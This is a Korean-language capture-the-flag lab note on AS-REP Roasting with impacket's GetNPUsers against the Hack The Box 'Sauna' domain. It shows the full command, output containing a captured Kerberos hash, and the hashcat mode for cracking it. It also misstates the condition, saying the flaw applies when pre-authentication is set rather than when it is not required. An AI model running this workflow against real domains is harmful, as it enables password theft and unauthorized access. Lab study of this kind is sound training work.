GetNPUsers

HTB Labs : Sauna

0. HTB Labs

Sauna

1. 개요

GetNPUsers.py는 AS-REP Roasting 공격을 수행하기 위한 도구.

일반적인 경우 사용자가 서버에 티켓을 요구할 때, 사용자의 신원을 인증하는 과정을 거친 후 서버가 티켓을 발급한다.

하지만, Pre-Authentication 이 설정된 경우 사용자가 티켓을 요구하는 경우에 서버는 신원 검증을 하지 않고 티켓을 발급한다. 여기서 문제점은 사용자의 비밀번호로 암호화된 티켓을 전달하는 것이다.

GetNPUsers.py 는 도메인 컨트롤러에게 가서 Pre-Auth 안 해도 되는 사용자가 있는 지를 물으며, 사용자 리스트를 가지고 취약한 사용자가 발견되면 비밀번호 없이 인증 요청이 가능하다. 티켓을 발급 받고 해당 사용자의 비밀번호 해시로 암호화된 메시지가 담긴 응답(AS-REP) 를 받게 되면 hashcat 같은 도구를 통해서 암호화를 해제하고 평문의 비밀번호를 획득할 수 있다.

1.1. 언제 써야 하는가?

사용자 계정명만 알고 있는 경우에 사용한다. CTF에서는 가장 흔하게 rpcclient 를 통해서 유저명을 획득했다던가 혹은 smb 를 통해 계정 목록이 있는 파일을 획득했으나 비밀번호를 모르는 경우에 사용하면 좋다.

2. 사용 예시

  1. domain/user : 공격 대상

  2. -no-pass : 비밀번호 모르니 묻지 말라는 옵션

  3. -request : 취약한 계정이면 해시(TGT 데이터) 달라고 요청

  4. -format : 획득한 해시를 hashcat 이 이해할 수 있는 포멧으로 출력 요청

  5. -userfile : 아이디 목록이 담긴 텍스트 파일을 넣으면 알아서 하나씩 테스트

┌──(root㉿kali)-[/home/kali/tools/username-anarchy]
└─# impacket-GetNPUsers 'EGOTISTICAL-BANK.LOCAL/' -usersfile res -format hashcat -outputfile hash -dc-ip 10.129.95.180
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:8a343a567b5abfec0ed2c30f0096275d$88ab9634f96bec988c120f72af675d619962fabf113f94823f708031eb029589186c30859d3859c82face0060f7fac4d9e406f69892ce696129f3d50bb65443b12dd80ea764cb644eb69e1ebfc7141a5d177914c36fbcf2dad8e83d8746addba0b2e5b7b6546e91bae3d67794265d3837877b142b637016426e2cbd20e2756b10c5f58c559aaff101eb1d1ebb09716353d777abf28364723b724f2b5e02a870121a25aedf2fd909c3045229cd9b7975fc1633e582240f2f28675ac83985ea183c711d1e1a4e83ab184f1980524048dc5b9732c26b0c5b4f80743f789a9259f291421349cfe9cbb28a49a9eb7895c6ae56cbceb800be004b351508c613524204d
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[...SNIP...]

이렇게 저장된 파일은 hashcat 을 통해 -m 18200 모듈로 복호화 할 수 있다.

Updated on